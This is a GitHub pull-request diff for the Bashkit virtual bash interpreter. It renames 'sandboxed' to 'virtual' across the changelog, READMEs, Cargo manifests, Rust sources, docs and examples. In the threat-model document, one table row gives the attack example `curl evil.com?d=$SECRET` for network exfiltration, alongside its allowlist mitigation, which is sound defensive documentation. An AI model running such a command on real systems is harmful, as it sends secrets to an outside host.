Skip to content
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
6 changes: 3 additions & 3 deletions CHANGELOG.md
Original file line number Diff line number Diff line change
Expand Up @@ -58,7 +58,7 @@
### Highlights

- Python bindings with LangChain and Deep Agents integrations
- Sandboxed git support (branch, checkout, diff, reset)
- Virtual git support (branch, checkout, diff, reset)
- Bash/sh script execution commands
- Virtual filesystem improvements: /dev/null support, duplicate name prevention, FsBackend trait

Expand Down Expand Up @@ -133,9 +133,9 @@

### Highlights

- Initial release of Bashkit sandboxed bash interpreter
- Initial release of Bashkit virtual bash interpreter
- Core interpreter with bash-compatible syntax support
- Virtual filesystem (VFS) abstraction for sandboxed file operations
- Virtual filesystem (VFS) abstraction for virtual file operations
- Resource limits: memory, execution time, operation count
- Built-in commands: echo, printf, cat, head, tail, wc, grep, sed, awk, jq, sort, uniq, cut, tr, date, base64, md5sum, sha256sum, gzip, gunzip, etc
- CLI tool for running scripts and interactive REPL
Expand Down
6 changes: 3 additions & 3 deletions Cargo.toml
Original file line number Diff line number Diff line change
@@ -1,4 +1,4 @@
# Bashkit - Sandboxed bash interpreter for multi-tenant environments
# Bashkit - Virtual bash interpreter for multi-tenant environments
# Part of the Everruns ecosystem
# See specs/ for design decisions

Expand All @@ -12,8 +12,8 @@ edition = "2021"
license = "MIT"
authors = ["Everruns"]
repository = "https://github.com/everruns/bashkit"
description = "Sandboxed bash interpreter for multi-tenant environments"
keywords = ["bash", "sandbox", "ai", "agent", "everruns"]
description = "Virtual bash interpreter for multi-tenant environments"
keywords = ["bash", "virtual", "ai", "agent", "everruns"]
categories = ["command-line-utilities", "parser-implementations"]

[workspace.dependencies]
Expand Down
20 changes: 10 additions & 10 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -6,17 +6,17 @@
[![docs.rs](https://img.shields.io/docsrs/bashkit)](https://docs.rs/bashkit)
[![Repo: Agent Friendly](https://img.shields.io/badge/Repo-Agent%20Friendly-blue)](AGENTS.md)

Sandboxed bash interpreter for multi-tenant environments. Written in Rust.
Virtual bash interpreter for multi-tenant environments. Written in Rust.

## Features

- **POSIX compliant** - Substantial IEEE 1003.1-2024 Shell Command Language compliance
- **Sandboxed execution** - No real filesystem access by default
- **Sandboxed, in-process execution** - No real filesystem access by default
- **Virtual filesystem** - InMemoryFs, OverlayFs, MountableFs
- **Resource limits** - Command count, loop iterations, function depth
- **Network allowlist** - Control HTTP access per-domain
- **Async-first** - Built on tokio
- **Experimental: Git support** - Sandboxed git operations on the virtual filesystem (`git` feature)
- **Experimental: Git support** - Virtual git operations on the virtual filesystem (`git` feature)
- **Experimental: Python support** - Embedded Python interpreter via [Monty](https://github.com/pydantic/monty) (`python` feature)

## Quick Start
Expand Down Expand Up @@ -49,7 +49,7 @@ async fn main() -> anyhow::Result<()> {
| Utilities | `sleep`, `date`, `basename`, `dirname`, `timeout`, `wait`, `watch` |
| Disk | `df`, `du` |
| Pipeline | `xargs`, `tee` |
| Shell | `bash`, `sh` (sandboxed re-invocation), `:` |
| Shell | `bash`, `sh` (virtual re-invocation), `:` |
| System info | `whoami`, `hostname`, `uname`, `id`, `env`, `printenv`, `history` |
| Network | `curl`, `wget` (requires allowlist) |
| Experimental | `python`, `python3` (requires `python` feature), `git` (requires `git` feature) |
Expand Down Expand Up @@ -85,9 +85,9 @@ let mut bash = Bash::builder()
.build();
```

### Sandbox Identity
### Virtual Identity

Configure the sandbox username and hostname for `whoami`, `hostname`, `id`, and `uname`:
Configure the virtual username and hostname for `whoami`, `hostname`, `id`, and `uname`:

```rust
let mut bash = Bash::builder()
Expand All @@ -103,7 +103,7 @@ let mut bash = Bash::builder()

## Experimental: Git Support

Enable the `git` feature for sandboxed git operations on the virtual filesystem.
Enable the `git` feature for virtual git operations on the virtual filesystem.
All git data lives in the VFS — no host filesystem access.

```toml
Expand All @@ -121,7 +121,7 @@ let mut bash = Bash::builder()

// Local operations: init, add, commit, status, log
// Branch operations: branch, checkout, diff, reset
// Remote operations: remote add/remove, clone/push/pull/fetch (sandbox mode)
// Remote operations: remote add/remove, clone/push/pull/fetch (virtual mode)
```

See [specs/010-git-support.md](specs/010-git-support.md) for the full specification.
Expand Down Expand Up @@ -237,11 +237,11 @@ print(result.stdout)

## Security

Bashkit is designed as a sandboxed interpreter for untrusted scripts. See the [security policy](SECURITY.md) for reporting vulnerabilities and the [threat model](specs/006-threat-model.md) for detailed analysis of 60+ identified threats.
Bashkit is designed as a virtual interpreter with sandboxed execution for untrusted scripts. See the [security policy](SECURITY.md) for reporting vulnerabilities and the [threat model](specs/006-threat-model.md) for detailed analysis of 60+ identified threats.

## Acknowledgments

This project was inspired by [just-bash](https://github.com/vercel-labs/just-bash) from Vercel Labs. Huge kudos to the Vercel team for pioneering the idea of a sandboxed bash interpreter for AI-powered environments. Their work laid the conceptual foundation that made Bashkit possible.
This project was inspired by [just-bash](https://github.com/vercel-labs/just-bash) from Vercel Labs. Huge kudos to the Vercel team for pioneering the idea of a virtual bash interpreter for AI-powered environments. Their work laid the conceptual foundation that made Bashkit possible.

## Ecosystem

Expand Down
2 changes: 1 addition & 1 deletion SECURITY.md
Original file line number Diff line number Diff line change
Expand Up @@ -29,7 +29,7 @@ This security policy applies to:

## Security Model

Bashkit is designed as a sandboxed interpreter. Key security boundaries:
Bashkit is designed as a virtual interpreter. Key security boundaries:

| Boundary | Protection |
|----------|------------|
Expand Down
4 changes: 2 additions & 2 deletions crates/bashkit-bench/README.md
Original file line number Diff line number Diff line change
Expand Up @@ -127,13 +127,13 @@ Benchmarks are designed to use compatible subset of features.
## Interpreters

### Bashkit
The Rust-based sandboxed interpreter being benchmarked. Runs in-process without subprocess overhead.
The Rust-based virtual interpreter being benchmarked. Runs in-process without subprocess overhead.

### Bash
System bash (`/bin/bash` or similar). Spawns a new process for each benchmark, which includes fork/exec overhead.

### just-bash
[Vercel's just-bash](https://github.com/vercel-labs/just-bash) sandboxed interpreter. Optional - will be skipped if not installed.
[Vercel's just-bash](https://github.com/vercel-labs/just-bash) virtual interpreter. Optional - will be skipped if not installed.

Install via: `npm install -g just-bash`

Expand Down
4 changes: 2 additions & 2 deletions crates/bashkit-cli/Cargo.toml
Original file line number Diff line number Diff line change
@@ -1,5 +1,5 @@
# Bashkit CLI - Command line interface for bashkit
# Run bash scripts in a sandboxed environment
# Run bash scripts in a virtual environment

[package]
name = "bashkit-cli"
Expand All @@ -10,7 +10,7 @@ authors.workspace = true
repository.workspace = true
keywords.workspace = true
categories.workspace = true
description = "Command line interface for Bashkit sandboxed bash interpreter"
description = "Command line interface for Bashkit virtual bash interpreter"
readme = "../../README.md"

[[bin]]
Expand Down
4 changes: 2 additions & 2 deletions crates/bashkit-cli/src/main.rs
Original file line number Diff line number Diff line change
@@ -1,4 +1,4 @@
//! Bashkit CLI - Command line interface for sandboxed bash execution
//! Bashkit CLI - Command line interface for virtual bash execution
//!
//! Usage:
//! bashkit -c 'echo hello' # Execute a command string
Expand All @@ -12,7 +12,7 @@ use anyhow::{Context, Result};
use clap::{Parser, Subcommand};
use std::path::PathBuf;

/// Bashkit - Sandboxed bash interpreter
/// Bashkit - Virtual bash interpreter
#[derive(Parser, Debug)]
#[command(name = "bashkit")]
#[command(author, version, about, long_about = None)]
Expand Down
2 changes: 1 addition & 1 deletion crates/bashkit-cli/src/mcp.rs
Original file line number Diff line number Diff line change
Expand Up @@ -180,7 +180,7 @@ fn handle_initialize(id: serde_json::Value) -> JsonRpcResponse {
fn handle_tools_list(id: serde_json::Value) -> JsonRpcResponse {
let tools = vec![Tool {
name: "bash".to_string(),
description: "Execute a bash script in a sandboxed environment".to_string(),
description: "Execute a bash script in a virtual environment".to_string(),
input_schema: serde_json::json!({
"type": "object",
"properties": {
Expand Down
6 changes: 3 additions & 3 deletions crates/bashkit-monty-worker/src/main.rs
Original file line number Diff line number Diff line change
Expand Up @@ -136,10 +136,10 @@ fn run(
}
}
RunProgress::FunctionCall { state, .. } => {
// No external functions in sandbox
// No external functions in virtual mode
let err = MontyException::new(
ExcType::RuntimeError,
Some("external function not available in sandbox".into()),
Some("external function not available in virtual mode".into()),
);
match state.run(ExternalResult::Error(err), &mut printer) {
Ok(next) => progress = next,
Expand All @@ -154,7 +154,7 @@ fn run(
let output = printer.into_output();
send_error(
writer,
"RuntimeError: async operations not supported in sandbox",
"RuntimeError: async operations not supported in virtual mode",
&output,
);
return Ok(());
Expand Down
2 changes: 1 addition & 1 deletion crates/bashkit-python/Cargo.toml
Original file line number Diff line number Diff line change
Expand Up @@ -8,7 +8,7 @@ edition.workspace = true
license.workspace = true
authors.workspace = true
repository.workspace = true
description = "Python bindings for Bashkit sandboxed bash interpreter"
description = "Python bindings for Bashkit virtual bash interpreter"

[lib]
crate-type = ["cdylib"]
Expand Down
4 changes: 2 additions & 2 deletions crates/bashkit-python/README.md
Original file line number Diff line number Diff line change
@@ -1,10 +1,10 @@
# Bashkit Python Bindings

Python bindings for [Bashkit](https://github.com/everruns/bashkit) - a sandboxed bash interpreter for AI agents.
Python bindings for [Bashkit](https://github.com/everruns/bashkit) - a virtual bash interpreter for AI agents.

## Features

- **Sandboxed execution**: All commands run in isolation with a virtual filesystem
- **Sandboxed, in-process execution**: All commands run in isolation with a virtual filesystem
- **68+ built-in commands**: echo, cat, grep, sed, awk, jq, curl, find, and more
- **Full bash syntax**: Variables, pipelines, redirects, loops, functions, arrays
- **Resource limits**: Protect against infinite loops and runaway scripts
Expand Down
8 changes: 4 additions & 4 deletions crates/bashkit-python/src/lib.rs
Original file line number Diff line number Diff line change
Expand Up @@ -60,7 +60,7 @@ impl ExecResult {
}
}

/// Sandboxed bash interpreter for AI agents
/// Virtual bash interpreter for AI agents
///
/// BashTool provides a safe execution environment for running bash commands
/// with a virtual filesystem. State persists between calls - files created
Expand Down Expand Up @@ -90,8 +90,8 @@ impl BashTool {
/// Create a new BashTool instance
///
/// Args:
/// username: Custom username for sandbox (default: "user")
/// hostname: Custom hostname for sandbox (default: "sandbox")
/// username: Custom username for virtual environment (default: "user")
/// hostname: Custom hostname for virtual environment (default: "sandbox")
/// max_commands: Maximum commands to execute (default: 10000)
/// max_loop_iterations: Maximum loop iterations (default: 100000)
#[new]
Expand Down Expand Up @@ -226,7 +226,7 @@ impl BashTool {
/// Get short description
#[getter]
fn short_description(&self) -> &str {
"Sandboxed bash interpreter with virtual filesystem"
"Virtual bash interpreter with virtual filesystem"
}

/// Get the full description
Expand Down
14 changes: 7 additions & 7 deletions crates/bashkit/docs/compatibility.md
Original file line number Diff line number Diff line change
Expand Up @@ -99,19 +99,19 @@ for sandbox security reasons. See the compliance spec for details.
| `rmdir` | `-p` | Remove empty directories |
| `xargs` | `-I`, `-n`, `-d` | Build commands from stdin |
| `tee` | `-a` | Write to files and stdout |
| `watch` | `INTERVAL COMMAND` | Execute periodically (sandbox mode) |
| `watch` | `INTERVAL COMMAND` | Execute periodically (virtual mode) |
| `file` | (none) | Detect file type via magic bytes |
| `less` | (none) | View file (behaves like cat in sandbox) |
| `less` | (none) | View file (behaves like cat in virtual mode) |
| `stat` | `-c FORMAT` | Display file metadata |
| `tar` | `-c`, `-x`, `-t`, `-v`, `-f`, `-z` | Archive operations |
| `gzip` | `-d`, `-k`, `-f` | Compress files |
| `gunzip` | `-k`, `-f` | Decompress files |
| `env` | `[VAR=val]` | Print/modify environment |
| `printenv` | `[VAR]` | Print environment variables |
| `history` | (none) | Command history (limited in sandbox) |
| `hostname` | (none) | Display sandbox hostname |
| `history` | (none) | Command history (limited in virtual mode) |
| `hostname` | (none) | Display virtual hostname |
| `uname` | `-a`, `-s`, `-n`, `-r`, `-v`, `-m`, `-o` | System info |
| `whoami` | (none) | Display sandbox username |
| `whoami` | (none) | Display virtual username |
| `id` | `-u`, `-g`, `-n` | User/group IDs |
| `nl` | `-b`, `-n`, `-s`, `-i`, `-v`, `-w` | Number lines of files |
| `paste` | `-d`, `-s` | Merge lines of files |
Expand Down Expand Up @@ -332,7 +332,7 @@ Default limits (configurable):
| Feature | Status | Notes |
|---------|--------|-------|
| Virtual filesystem | ✅ | InMemoryFs, OverlayFs, MountableFs |
| Real filesystem | ❌ | Sandboxed by default |
| Real filesystem | ❌ | Virtual by default |
| Symlinks | ✅ | Stored but not followed |
| Permissions | ✅ | Metadata stored, not enforced |
| `/dev/null` | ✅ | Interpreter-level handling (cannot be bypassed) |
Expand Down Expand Up @@ -440,7 +440,7 @@ Identified from eval analysis — features frequently used by LLM-generated scri

### Not Planned
- Interactive features (history, job control UI)
- Process spawning (sandboxed environment)
- Process spawning (virtual environment)
- Raw filesystem access

---
Expand Down
2 changes: 1 addition & 1 deletion crates/bashkit/docs/python.md
Original file line number Diff line number Diff line change
Expand Up @@ -186,7 +186,7 @@ are available. No `pip install`, no `import numpy`.

## Security

All Python execution is sandboxed:
All Python execution runs in a virtual environment:

- **No host filesystem access** — all paths resolve through the VFS
- **No network access** — no sockets, HTTP, or DNS
Expand Down
8 changes: 4 additions & 4 deletions crates/bashkit/docs/threat-model.md
Original file line number Diff line number Diff line change
@@ -1,6 +1,6 @@
# Threat Model

Bashkit is designed to execute untrusted bash scripts safely in sandboxed environments.
Bashkit is designed to execute untrusted bash scripts safely in virtual environments.
This document describes the security threats we address and how they are mitigated.

**See also:**
Expand All @@ -11,7 +11,7 @@ This document describes the security threats we address and how they are mitigat

## Overview

Bashkit assumes all script input is potentially malicious. The sandbox prevents:
Bashkit assumes all script input is potentially malicious. The virtual environment prevents:

- **Resource exhaustion** (CPU, memory, disk)
- **Sandbox escape** (filesystem, process, privilege)
Expand Down Expand Up @@ -100,7 +100,7 @@ Scripts may attempt to leak sensitive information.
| Threat | Attack Example | Mitigation | Code Reference |
|--------|---------------|------------|----------------|
| Env var leak (TM-INF-001) | `echo $SECRET` | Caller responsibility | See below |
| Host info (TM-INF-005) | `hostname` | Returns sandbox value | [`builtins/system.rs`][system] |
| Host info (TM-INF-005) | `hostname` | Returns virtual value | [`builtins/system.rs`][system] |
| Network exfil (TM-INF-010) | `curl evil.com?d=$SECRET` | Network allowlist | [`network/allowlist.rs`][allowlist] |

**Caller Responsibility (TM-INF-001):**
Expand All @@ -123,7 +123,7 @@ let bash = Bash::builder()

**System Information:**

System builtins return configurable sandbox values, never real host information:
System builtins return configurable virtual values, never real host information:

```rust,ignore
let bash = Bash::builder()
Expand Down
6 changes: 3 additions & 3 deletions crates/bashkit/examples/agent_tool.rs
Original file line number Diff line number Diff line change
@@ -1,7 +1,7 @@
//! LLM Agent example using Bashkit as a Bash tool
//!
//! Demonstrates a real AI agent using Claude to execute bash commands
//! in a sandboxed Bashkit session.
//! in a virtual Bashkit session.
//!
//! Run with: ANTHROPIC_API_KEY=your-key cargo run --example agent_tool --features http_client
//!
Expand Down Expand Up @@ -93,7 +93,7 @@ impl Agent {
fn bash_tool() -> Tool {
Tool {
name: "bash",
description: "Execute bash commands in a sandboxed session. \
description: "Execute bash commands in a virtual session. \
Variables and functions persist between calls. \
Available commands: echo, cat, printf, grep, sed, awk, jq, \
cd, pwd, test, for/while/if, functions, redirections (> >>).",
Expand Down Expand Up @@ -144,7 +144,7 @@ impl Agent {
let request = MessagesRequest {
model: "claude-sonnet-4-20250514",
max_tokens: 1024,
system: "You are an agent with access to a sandboxed bash environment. \
system: "You are an agent with access to a virtual bash environment. \
Your task is to create a few text files with short poems about different topics. \
Use echo with redirection to create files (e.g., echo 'poem' > /topic.txt). \
After creating files, read them back with cat to verify. \
Expand Down
8 changes: 4 additions & 4 deletions crates/bashkit/examples/git_workflow.rs
Original file line number Diff line number Diff line change
@@ -1,6 +1,6 @@
//! Git workflow example
//!
//! Demonstrates sandboxed git operations in Bashkit's virtual filesystem.
//! Demonstrates virtual git operations in Bashkit's virtual filesystem.
//!
//! Run with: cargo run --example git_workflow --features git

Expand Down Expand Up @@ -99,7 +99,7 @@ async fn main() -> anyhow::Result<()> {
.await?;
println!("Author: {}", result.stdout);

// Demonstrate remote operations (sandbox mode)
// Demonstrate remote operations (virtual mode)
println!("14. Add remote (URL validation):");
let result = bash
.exec("cd /project && git remote add origin https://github.com/example/repo.git")
Expand All @@ -110,8 +110,8 @@ async fn main() -> anyhow::Result<()> {
let result = bash.exec("cd /project && git remote -v").await?;
println!("{}", result.stdout);

// Try push (will show sandbox message)
println!("15. Attempt push (sandbox mode):");
// Try push (will show virtual mode message)
println!("15. Attempt push (virtual mode):");
let result = bash.exec("cd /project && git push origin master").await?;
println!("{}", result.stderr);

Expand Down
2 changes: 1 addition & 1 deletion crates/bashkit/examples/python_scripts.rs
Original file line number Diff line number Diff line change
@@ -1,6 +1,6 @@
//! Python Scripts Example
//!
//! Demonstrates running Python code inside BashKit's sandbox using the
//! Demonstrates running Python code inside BashKit's virtual environment using the
//! embedded Monty interpreter. Python runs entirely in-memory with
//! resource limits. Python pathlib.Path operations are bridged to
//! BashKit's virtual filesystem.
Expand Down
Loading
Loading